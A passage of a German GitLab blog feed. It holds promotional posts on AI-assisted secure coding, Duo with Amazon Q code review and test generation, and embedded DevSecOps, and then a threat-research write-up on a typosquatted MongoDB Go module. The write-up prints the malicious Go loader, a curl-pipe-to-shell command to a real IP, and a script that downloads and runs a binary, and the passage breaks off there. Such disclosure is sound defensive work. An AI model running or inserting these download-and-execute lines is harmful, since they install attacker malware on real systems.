<p>Aber es geht nicht nur ums Scannen, es geht darum, Schritt zu halten. Wenn Entwicklungsteams mit der Geschwindigkeit der KI-unterstützten Entwicklung mithalten wollen, brauchen sie Scans, die schnell, genau und auf Skalierung ausgelegt sind. Genauigkeit ist besonders wichtig. Wenn Scanner Entwickler(innen) mit False Positives überwältigen, besteht das Risiko, das Vertrauen in das System insgesamt zu verlieren.</p>
<p>Der einzige Weg, schnell zu agieren <em>und</em> sicher zu bleiben, ist, das Scannen nicht verhandelbar zu machen.</p>
<p>Jeder Commit. Jeder Branch. Keine Ausnahmen.</p>
<h2>Sicherer KI-generierter Code mit GitLab</h2>
<p>KI verändert die Art und Weise, wie Software entwickelt wird, aber die Grundlagen der sicheren Softwareentwicklung gelten weiterhin. Code muss immer noch überprüft werden. Bedrohungen müssen immer noch getestet werden. Und Sicherheit muss immer noch in die Arbeitsweise eingebettet sein. Bei GitLab haben wir genau das getan.</p>
<p>Als Entwicklerplattform schrauben wir Sicherheit nicht an den Workflow – wir betten sie direkt dort ein, wo Entwickler(innen) bereits arbeiten: in der IDE, in Merge Requests und in der Pipeline. Scans laufen automatisch und relevanter Sicherheitskontext wird angezeigt, um schnellere Behebungszyklen zu ermöglichen. Und da es Teil derselben Plattform ist, auf der Entwickler(innen) Software erstellen, testen und bereitstellen, gibt es weniger Tools zu jonglieren, weniger Kontextwechsel und einen viel reibungsloseren Weg zu sicherem Code.</p>
<p>KI-Funktionen wie <a href="https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/">Duo Vulnerability Explanation und Vulnerability Resolution</a> fügen eine weitere Ebene von Geschwindigkeit und Einblick hinzu und helfen Entwickler(innen), Risiken zu verstehen und sie schneller zu beheben, ohne ihren Flow zu unterbrechen.</p>
<p>KI ist keine Abkürzung zur Sicherheit. Aber mit den richtigen Praktiken – und einer Plattform, die Entwickler(innen) dort abholt, wo sie sind – kann sie absolut Teil des Aufbaus von Software sein, die schnell, sicher und skalierbar ist.</p>
<blockquote>
<p>Starte deine <a href="https://about.gitlab.com/de-de/free-trial/">kostenlose 60-tägige Testversion von GitLab Ultimate mit Duo Enterprise</a> und erlebe, wie es ist, sichere Software schneller zu entwickeln. Mit nativer Sicherheitsprüfung, KI-gestützten Einblicken und einer nahtlosen Entwicklererfahrung hilft GitLab dabei, Sicherheit nach links zu verschieben, ohne zu verlangsamen.</p>
</blockquote>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-07-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Von Tagen zu Sekunden: So revolutioniert /q review deine Code Reviews]]></title>
        <id>https://about.gitlab.com/de-de/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q/</id>
        <link href="https://about.gitlab.com/de-de/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q/"/>
        <updated>2025-07-08T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Code Reviews sind wichtig, um Bugs zu finden, die Lesbarkeit des Codes zu verbessern und Programmierstandards einzuhalten, aber sie können auch zu einem großen Engpass in deinem Workflow führen. Wenn du versuchst, Features schnell zu veröffentlichen, kann es ziemlich frustrierend sein, auf andere Teammitglieder zu warten, die deinen Code überprüfen. Langwierige Diskussionen, Terminkonflikte und die Zeit, die es braucht, um alle Beteiligten auf einen Nenner zu bringen, können eine einfache Review über Tage oder sogar Wochen in die Länge ziehen.</p>
<p>Hier kommt <a href="/about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo mit Amazon Q</a>, unser neues Angebot, das AWS-Kund(inn)en agentenbasierte KI während des gesamten Software-Entwicklungsprozesses zur Verfügung stellt, ins Spiel, um deinen Review-Prozess zu transformieren.</p>
<p>Diese intelligente, KI-gestützte Lösung kann umfassende Code Reviews für dich durchführen, und das in einem Bruchteil der Zeit, die deine menschlichen Kolleg(inn)en dafür benötigen würden. Durch die Nutzung fortschrittlicher agentischer KI-Funktionen optimiert GitLab Duo mit Amazon Q deinen gesamten Review-Workflow, ohne dass du dabei Abstriche bei der Qualität und Gründlichkeit machen musst. Stell dir vor, es gäbe jemanden, der immer zur Verfügung steht, deinen Code sofort analysiert und dir umsetzbares Feedback gibt.</p>
<h2>So funktioniert’s: Einen Code Review starten</h2>
<p>Wie funktioniert GitLab Duo mit Amazon Q eigentlich? Angenommen, du hast gerade die Arbeit an einem Feature abgeschlossen und einen Merge Request mit mehreren Code-Updates erstellt. Traditionell würdest du deine Teammitglieder anschreiben und auf ihre Verfügbarkeit warten. Mit GitLab Duo mit Amazon Q gibst du einfach einen kurzen Befehl in den Kommentarbereich ein: „/q review“. Das war’s – mit diesen beiden Worten tritt die KI in Aktion.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097002/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097002096.png" alt="Auslösen einer Code Review mit GitLab Duo mit Amazon Q"></p>
<p>Sobald du den Befehl eingegeben hast, beginnt der Amazon-Q-Service sofort mit der Analyse deiner Codeänderungen. Du erhältst eine Bestätigung, dass die Review läuft, und in kürzester Zeit prüft die KI jede Zeile deiner Änderungen auf mögliche Probleme in verschiedenen Bereichen.</p>
<p>Nach Abschluss der Review erhältst du ein umfassendes Feedback, das alle Bereiche abdeckt: Fehlererkennung, Verbesserungen der Lesbarkeit, Syntaxfehler und die Einhaltung der Programmierstandards deines Teams. Die KI weist nicht nur auf Probleme hin, sondern liefert auch den Kontext und Vorschläge für deren Behebung, sodass du leicht verstehen kannst, worauf du achten musst und warum.</p>
<p>Das Schöne an diesem agentenbasierten KI-Ansatz ist, dass er dir die mühselige Arbeit der Code Review abnimmt, während du dich auf das konzentrieren kannst, was am wichtigsten ist: die Entwicklung großartiger Software.</p>
<p>Du profitierst von den Vorteilen gründlicher Code Reviews – bessere Fehlererkennung, konsistente Programmierstandards und verbesserte Codequalität – ohne den Zeitaufwand. Deine Bereitstellungszeiten verkürzen sich drastisch, weil du nicht mehr in Review-Warteschlangen steckst, und dein gesamtes Team wird produktiver.</p>
<h2>Warum solltest du GitLab Duo mit Amazon Q verwenden?</h2>
<p>GitLab Duo mit Amazon Q verändert deinen Entwicklungsworkflow auf folgende Weise:</p>
<ul>
<li>Blitzschnelle Code Reviews, die keine Kompromisse bei der Qualität eingehen</li>
<li>Konsistente Anwendung von Programmierstandards in deiner gesamten Codebase</li>
<li>Sofortiges Feedback, das dir hilft, Fehler zu beheben, bevor sie in die Produktion gelangen</li>
<li>Kürzere Bereitstellungszeiten, damit du Funktionen schneller bereitstellen kannst</li>
<li>Mehr Zeit für dein Team, sich auf kreative Problemlösungen zu konzentrieren, statt auf sich wiederholende Reviews</li>
</ul>
<p>Bist du bereit, diese neue Funktion in Aktion zu erleben? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Code-Review-Prozess revolutionieren kann:</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/4gFIgyFc02Q?si=GXVz--AIrWiwzf-I&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt; &lt;/figure&gt;</p>
<p>&lt;!-- blank line --&gt;</p>
<blockquote>
<p>Besuche uns auf einem der bevorstehenden <a href="https://about.gitlab.com/de-de/events/aws-summits/">AWS Summits in einer Stadt in deiner Nähe</a> oder <a href="//about.gitlab.com/de-de/partners/technology-partners/aws/#form">wende dich an deine(n) GitLab-Vertreter(in)</a>, um mehr über GitLab Duo mit Amazon Q zu erfahren.</p>
<p>Und nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über unsere Pläne für agentische KI und mehr zu erfahren. <a href="https://about.gitlab.com/de-de/eighteen/">Registriere dich noch heute!</a></p>
</blockquote>
]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra</uri>
        </author>
        <published>2025-07-08T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Anwendungsqualität mit KI-gestützter Testgenerierung verbessern]]></title>
        <id>https://about.gitlab.com/de-de/blog/enhance-application-quality-with-ai-powered-test-generation/</id>
        <link href="https://about.gitlab.com/de-de/blog/enhance-application-quality-with-ai-powered-test-generation/"/>
        <updated>2025-07-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Du weißt, wie entscheidend die Anwendungsqualität für deine Kund(inn)en und deinen Ruf ist. Allerdings kann es sich wie ein ständiger Kampf anfühlen, diese Qualität durch umfassende Tests sicherzustellen. Du hast es mit zeitaufwendigen manuellen Prozessen zu tun, inkonsistenter Testabdeckung im Team und diesen lästigen Problemen, die irgendwie durchrutschen. Es ist frustrierend, wenn deine Bewertung sinkt, weil die Qualitätssicherung eher zu einem Engpass als zu einem Schutzschild wird.</p>
<p>Hier kann <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo mit Amazon Q</a>, das agentische KI im gesamten Softwareentwicklungslebenszyklus für AWS-Kund(inn)en bereitstellt, deinen QA-Prozess transformieren. Diese KI-gestützte Funktion kann automatisch umfassende Unit-Tests für deinen Code generieren und deinen Qualitätssicherungs-Workflow dramatisch beschleunigen. Anstatt Stunden damit zu verbringen, Tests manuell zu schreiben, kannst du die KI deinen Code analysieren und Tests erstellen lassen, die optimale Abdeckung und konsistente Qualität über deine gesamte Anwendung hinweg gewährleisten.</p>
<h2>Wie GitLab Duo mit Amazon Q funktioniert</h2>
<p>Wie funktioniert das also? Lass uns gemeinsam durch den Prozess gehen.
Wenn du an einem neuen Feature arbeitest, beginnst du damit, die Java-Klasse auszuwählen, die du über einen Merge Request zu deinem Projekt hinzugefügt hast. Du navigierst einfach zu deinem Merge Request und klickst auf den Tab „Änderungen&quot;, um den neuen Code zu sehen, den du hinzugefügt hast.</p>
<p>Als Nächstes rufst du Amazon Q auf, indem du einen Quick-Action-Befehl eingibst. Alles, was du tun musst, ist <code>/q test</code> in das Issue-Kommentarfeld einzugeben. So einfach ist das – nur ein Schrägstrich, der Buchstabe „q&quot; und das Wort „test&quot;.</p>
<p>Sobald du Enter drückst, wird Amazon Q aktiv. Es analysiert deinen ausgewählten Code und versteht dessen Struktur, Logik und Zweck. Die KI untersucht deine Klassenmethoden, Abhängigkeiten und potenzielle Randfälle, um zu bestimmen, welche Tests benötigt werden.</p>
<p>Innerhalb weniger Augenblicke generiert Amazon Q eine umfassende Unit-Test-Abdeckung für deine neue Klasse. Es erstellt Tests, die nicht nur den Happy Path abdecken, sondern auch Randfälle und Fehlerbedingungen, die du möglicherweise übersehen hättest. Die generierten Tests folgen den bestehenden Mustern und Konventionen deines Projekts und stellen sicher, dass sie sich nahtlos in deine Codebasis integrieren.</p>
<h2>Warum GitLab Duo mit Amazon Q verwenden?</h2>
<p>Hier ist das Fazit: Du hast mit einer kritischen Herausforderung begonnen – hochwertige Anwendungen zu pflegen und dabei mit Zeitbeschränkungen und inkonsistenten Testpraktiken umzugehen. GitLab Duo mit Amazon Q löst dies, indem es den Testgenerierungsprozess automatisiert und optimale Code-Abdeckung sowie konsistente Teststandards gewährleistet. Das Ergebnis? Probleme werden vor der Bereitstellung erkannt, deine Anwendungen behalten ihre Qualität und du kannst Software schneller entwickeln, ohne die Zuverlässigkeit zu opfern.</p>
<p>Hauptvorteile dieser Funktion:</p>
<ul>
<li>Reduziert die Zeit für das Schreiben von Unit-Tests erheblich</li>
<li>Gewährleistet umfassende Testabdeckung über deine gesamte Codebasis</li>
<li>Hält konsistente Testqualität über alle Teammitglieder hinweg aufrecht</li>
<li>Erkennt Probleme, bevor sie die Produktion erreichen</li>
<li>Beschleunigt deine gesamte Entwicklungsgeschwindigkeit</li>
</ul>
<p>Bereit, diese bahnbrechende Funktion in Aktion zu sehen? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Qualitätssicherungsprozess transformieren kann:</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<h2>Starte noch heute mit GitLab Duo mit Amazon Q</h2>
<p>Möchtest du mehr über GitLab Duo mit Amazon Q erfahren? Besuche die <a href="https://about.gitlab.com/de-de/partners/technology-partners/aws/">GitLab und AWS Partnerseite</a> für detaillierte Informationen.</p>
<h2>Agentische KI-Ressourcen</h2>
<ul>
<li><a href="https://about.gitlab.com/de-de/blog/agentic-ai-guides-and-resources/">Agentische KI-Leitfäden und Ressourcen</a></li>
<li><a href="https://about.gitlab.com/de-de/topics/agentic-ai/">Was ist agentische KI?</a></li>
<li><a href="https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo mit Amazon Q: Agentische KI optimiert für AWS allgemein verfügbar</a></li>
<li><a href="https://docs.gitlab.com/user/duo_amazon_q/">GitLab Duo mit Amazon Q Dokumentation</a></li>
</ul>
]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra</uri>
        </author>
        <published>2025-07-03T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Warum jetzt die Zeit für Embedded DevSecOps ist]]></title>
        <id>https://about.gitlab.com/de-de/blog/why-now-is-the-time-for-embedded-devsecops/</id>
        <link href="https://about.gitlab.com/de-de/blog/why-now-is-the-time-for-embedded-devsecops/"/>
        <updated>2025-07-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Für Embedded-Systeme-Teams schien DevSecOps traditionell eher ein Ansatz für SaaS-Anwendungen als für die Firmware-Entwicklung zu sein. Aber das ändert sich. Software ist jetzt ein primärer Differenzierungsfaktor bei Hardwareprodukten. Neue Erwartungen der Marktteilnehmer erfordern moderne Entwicklungspraktiken. Als Reaktion darauf verfolgen Unternehmen &quot;Embedded DevSecOps&quot;.</p>
<p>Was ist Embedded DevSecOps? Die Anwendung kollaborativer Engineering-Praktiken, integrierter Toolchains und Automatisierung für das Erstellen, Testen und Sichern von Software auf die Entwicklung eingebetteter Systeme. Embedded DevSecOps umfasst notwendige Anpassungen für die Hardware-Integration.</p>
<h2>Drei Marktkräfte, welche die Embedded-Entwicklung revolutionieren</h2>
<p>Drei mächtige Marktkräfte konvergieren und zwingen Embedded-Teams dazu, ihre Entwicklungspraktiken zu modernisieren.</p>
<h3>1. Software wird zum primären Differenzierungsfaktor</h3>
<p>Produkte, die einst hauptsächlich durch ihre Hardware definiert wurden, unterscheiden sich jetzt durch ihre Softwarefähigkeiten. Der Markt für softwaredefinierte Fahrzeuge (SDV) erzählt in dieser Hinsicht eine überzeugende Geschichte. Er wird voraussichtlich von 213,5 Milliarden US-Dollar im Jahr 2024 auf <a href="https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html">1,24 Billionen US-Dollar (Artikel auf Englisch)</a> bis 2030 wachsen – eine massive jährliche Wachstumsrate von 34%.</p>
<p>Der Softwareanteil in diesen Produkten wächst erheblich. Bis Ende 2025 wird erwartet, dass das durchschnittliche Fahrzeug <a href="https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/">650 Millionen Codezeilen (Artikel auf Englisch)</a> enthält. Traditionelle Embedded-Entwicklungsansätze können diese Softwarekomplexität nicht bewältigen.</p>
<h3>2. Hardware-Virtualisierung ermöglicht neue Arbeitsweisen</h3>
<p>Hardware-Virtualisierung ist ein wichtiger technischer Enabler für Embedded DevSecOps. Virtuelle elektronische Steuergeräte (vECUs), Cloud-basierte ARM-CPUs und anspruchsvolle Simulationsumgebungen werden immer verbreiteter. Virtuelle Hardware ermöglicht Tests, die einst physische Hardware erforderten.</p>
<p>Diese Virtualisierungstechnologien bieten eine Grundlage für Continuous Integration (<a href="https://about.gitlab.com/topics/ci-cd/">CI</a>). Aber ihr Wert wird nur vollständig realisiert, wenn sie in einen automatisierten Workflow integriert sind. In Kombination mit kollaborativen Entwicklungspraktiken und automatisierten Pipelines helfen virtuelle Tests den Teams, Probleme viel früher zu erkennen, wenn Korrekturen noch viel kostengünstiger sind. Ohne Embedded-DevSecOps-Praktiken und Tools zur Orchestrierung dieser virtuellen Ressourcen können Unternehmen den Virtualisierungstrend nicht nutzen.</p>
<h3>3. Der Wettbewerbsdruck steigt exponentiell</h3>
<p>Drei miteinander verbundene Kräfte gestalten die Wettbewerbslandschaft für die Embedded-Entwicklung neu:</p>
<ul>
<li>Der Kampf um die größten Talente hat sich entscheidend verschoben. Wie ein Embedded-Systems-Leader bei einem GitLab-Kunden erklärte: &quot;Kein Embedded-Ingenieur, der heute vom College kommt, kennt Legacy-Tools wie Perforce. Sie kennen Git. Diese jungen Ingenieure arbeiten sechs Monate in einem Unternehmen mit Legacy-Tools und kündigen dann.&quot; Unternehmen, die veraltete Tools verwenden, könnten ihre technische Zukunft verlieren.</li>
<li>Dieser Vorsprung durch die besten Talente führt zu Wettbewerbsvorteilen. Technologieorientierte Unternehmen, die Top-Ingenieure mit modernen Praktiken anziehen, erzielen bemerkenswerte Ergebnisse. Beispielsweise führte <a href="https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/">SpaceX (Artikel auf Englisch)</a> im Jahr 2024 mehr Orbitalstarts durch als der Rest der Welt zusammen. Technologieorientierte Unternehmen zeichnen sich durch Softwareentwicklung aus und haben eine moderne Entwicklungskultur. Dies schafft unter anderem Effizienzen, die Legacy-Unternehmen nur schwer erreichen können.</li>
<li>Die steigenden Kosten der Embedded-Entwicklung – getrieben durch lange Feedback-Zyklen – schaffen einen dringenden Bedarf an Embedded DevSecOps. Wenn Entwickler(innen) wochenlang warten müssen, um Code auf Hardware-Testbänken zu testen, bleibt die Produktivität von Natur aus niedrig. Ingenieur(innen) verlieren den Kontext und müssen den Kontext wechseln, wenn die Ergebnisse eintreffen. Das Problem verschlimmert sich, wenn Fehler ins Spiel kommen. Bugs werden teurer zu beheben, je später sie entdeckt werden. Lange Feedback-Zyklen vergrößern dieses Problem in eingebetteten Systemen.</li>
</ul>
<p>Unternehmen setzen Embedded DevSecOps ein, um diese Herausforderungen zu bewältigen.</p>
<h2>So setzen führende Unternehmen Embedded DevSecOps um</h2>
<p>Basierend auf diesen Marktkräften implementieren zukunftsorientierte Embedded-Systems-Leader Embedded DevSecOps auf folgende Weise.</p>
<h3>Hardware-Tests automatisieren und beschleunigen</h3>
<p>Hardware-Test-Engpässe stellen eine der bedeutendsten Einschränkungen in der traditionellen Embedded-Entwicklung dar. Diese Verzögerungen schaffen die zuvor beschriebene ungünstige Wirtschaftlichkeit – wenn Entwickler(innen) wochenlang auf Hardware-Zugriff warten, steigen die Fehlerkosten spiralförmig an.</p>
<p>Die Bewältigung dieser Herausforderung erfordert einen facettenreichen Ansatz, einschließlich:</p>
<ul>
<li>Automatisierung der Orchestrierung teurer gemeinsam genutzter Hardware-Testbänke unter Embedded-Entwickler(inne)n</li>
<li>Integration sowohl von SIL (Software-in-the-Loop) als auch HIL (Hardware-in-the-Loop) Tests in automatisierte CI-Pipelines</li>
<li>Standardisierung von Builds mit versionskontrollierten Umgebungen</li>
</ul>
<p>Embedded-Entwickler(innen) können dies mit GitLabs <a href="https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud">On-Premises Device Cloud (Seite auf Englisch)</a> erreichen, einer CI/CD-Komponente. Durch die Automatisierung der Orchestrierung von Firmware-Tests auf virtueller und realer Hardware sind Teams besser positioniert, um Feedback-Zyklen von Wochen auf Stunden zu reduzieren. Sie können auch mehr Bugs früh im Software-Entwicklungslebenszyklus erkennen.</p>
<h3>Automatisierung von Compliance und Security Governance</h3>
<p>Eingebettete Systeme unterliegen strengen regulatorischen Anforderungen. Manuelle Compliance-Prozesse sind nicht nachhaltig.</p>
<p>Führende Unternehmen transformieren die Art und Weise, wie sie diese Anforderungen erfüllen, durch:</p>
<ul>
<li>Ersetzen manueller Workflows durch automatisierte <a href="https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/">Compliance-Frameworks</a></li>
<li>Integration spezialisierter Funktionssicherheits-, Sicherheits- und Code-Qualitäts-Tools in automatisierte Continuous-Integration-Pipelines</li>
<li>Automatisierung von Genehmigungsworkflows, Durchsetzung von Code-Reviews und Pflege von Audit-Trails</li>
<li>Konfiguration von Compliance-Frameworks für spezifische Standards wie ISO 26262 oder DO-178C</li>
</ul>
<p>Dieser Ansatz ermöglicht eine höhere Compliance-Reife ohne zusätzliches Personal – was einst eine Last war, wird zu einem Wettbewerbsvorteil. Ein führender Hersteller von Elektrofahrzeugen (EV) führt mit GitLab täglich 120.000 CI/CD-Jobs aus, von denen viele Compliance-Prüfungen beinhalten. Und sie können Fehlerbehebungen innerhalb einer Stunde nach der Entdeckung beheben und in Fahrzeuge bereitstellen. Dieses Maß an Skalierung und Geschwindigkeit wäre ohne automatisierte Compliance-Workflows extrem schwierig.</p>
<h3>Compliance-Prozesse in CI/CD-Pipelines integrieren</h3>
<p>Historisch gesehen haben Embedded-Entwickler(innen) aus berechtigten geschäftlichen und technischen Gründen weitgehend allein an ihren Schreibtischen gearbeitet. Die Zusammenarbeit war begrenzt. Innovative Unternehmen durchbrechen diese Barrieren, indem sie gemeinsame Code-Sichtbarkeit durch integrierte Source-Control- und CI/CD-Workflows ermöglichen. Diese modernen Praktiken ziehen Ingenieur(innen) an und halten sie, während sie Innovationen freischalten, die in isolierten Workflows verborgen bleiben würden.</p>
<p>Wie ein Director of DevOps bei einem technologieorientierten Automobilhersteller (ein GitLab-Kunde) erklärt: &quot;Es ist wirklich entscheidend für uns, eine einzige Übersicht zu haben, auf die wir schauen und die Status sehen können. Die Entwickler(innen) sind sich beim Einbringen eines Merge Requests des Status eines bestimmten Workflows bewusst, um sich so schnell wie möglich zu bewegen.&quot; Diese Transparenz beschleunigt die Innovation und ermöglicht es Automobilherstellern, schnell auf Softwarefunktionen zu iterieren, die ihre Fahrzeuge in einem zunehmend wettbewerbsintensiven Markt differenzieren.</p>
<h2>Silos aufbrechen durch kollaborative Entwicklung</h2>
<p>Embedded-Systems-Leader haben ein klares Zeitfenster, um durch die DevSecOps-Einführung einen Wettbewerbsvorteil zu erlangen. Aber das Fenster wird nicht für immer offen bleiben. Software wird weiterhin zum primären Differenzierungsfaktor in eingebetteten Produkten, und die Kluft zwischen Leadern und Nachzüglern wird nur größer werden.</p>
<p>Unternehmen, die DevSecOps erfolgreich einführen, werden Kosten senken, die Markteinführungszeit beschleunigen und Innovationen freischalten, die sie auf dem Markt differenzieren. Die Embedded-Systems-Leader von morgen sind diejenigen, die heute DevSecOps annehmen.</p>
<blockquote>
<p>Während dieser Artikel untersuchte, warum jetzt die kritische Zeit für Embedded-Teams ist, DevSecOps einzuführen, fragst du dich vielleicht nach den praktischen Schritten für den Einstieg. Erfahre, wie du diese Konzepte mit unserem Leitfaden in die Praxis umsetzen kannst: <a href="https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/">4 Wege zur Beschleunigung der Embedded-Entwicklung mit GitLab (Artikel auf Englisch)</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Matt DeLaney</name>
            <uri>https://about.gitlab.com/blog/authors/matt-delaney</uri>
        </author>
        <published>2025-07-03T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack/"/>
        <updated>2025-06-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören weiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne Softwareentwicklung. Die weit verbreitete Nutzung von Open-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen schnell zu erstellen, aber auch die Angriffsfläche vergrößert. Das wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.</p>
<p>Um diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:</p>
<ul>
<li>Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert</li>
<li>Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet</li>
<li>KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung</li>
</ul>
<p>Dieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.</p>
<p>Mit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.</p>
<h2>Zusammenfassung: Ein MongoDB-Modul, das nicht ganz richtig ist</h2>
<p>Unser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens <code>github.com/qiniiu/qmgo</code> gemeldet, das das beliebte <a href="https://www.mongodb.com/">MongoDB</a>-Modul <code>github.com/qiniu/qmgo</code> genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB&quot; und hat in der Go-Community an Bedeutung gewonnen.</p>
<p>Um das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i&quot; hinzu (<code>qiniu</code> → <code>qiniiu</code>). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.</p>
<p>Der Code des neuen Moduls war eine funktionierende Kopie des legitimen <code>qmgo</code>-Moduls. Allerdings wurde bösartiger Code in die <code>NewClient</code>-Funktion in <code>client.go</code> eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.</p>
<p>Nach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (<code>github.com/qiiniu/qmgo</code>) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.</p>
<h2>Technische Tiefenanalyse: Die Schichten abziehen</h2>
<p>Der Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:</p>
<pre><code class="language-go">txt, err := script.Get(&quot;https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html&quot;).String()  
if err == nil {  
    txt2, err := script.Get(string(strings.Replace(txt, &quot;\n&quot;, &quot;&quot;, -1))).String()  
    if err == nil {  
        exec.Command(&quot;/bin/sh&quot;, &quot;-c&quot;, string(txt2)).Start()  
    }  
}  
</code></pre>
<p>Der Angriff entfaltet sich in vier verschiedenen Schichten:</p>
<p><strong>Schicht 1:</strong> Der Code holt <code>update.html</code> aus einem anderen Repository, das dem Typosquat-Konto <code>qiiniu/vue-element-admin</code> gehört. Die Datei enthielt eine einzelne Zeile:</p>
<pre><code>https://img.googlex.cloud/seed.php
</code></pre>
<p><strong>Schicht 2:</strong> Der Code holt dann <code>https://img.googlex.cloud/seed.php</code>, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:</p>
<pre><code class="language-bash">curl -s http://207.148.110.29:80/logon61.gif|sh
</code></pre>
<p><strong>Schicht 3:</strong> Der Befehl weist das System an, <code>http://207.148.110.29:80/logon61.gif</code> mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (<code>chainelli.mp3</code>) nach <code>/tmp/vod</code> herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:</p>
<pre><code class="language-bash">#!/bin/sh  
rm -rf /tmp/vod  
curl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  
chmod 777 /tmp/vod  
/tmp/vod  
rm -rf /tmp/vod  
</code></pre>
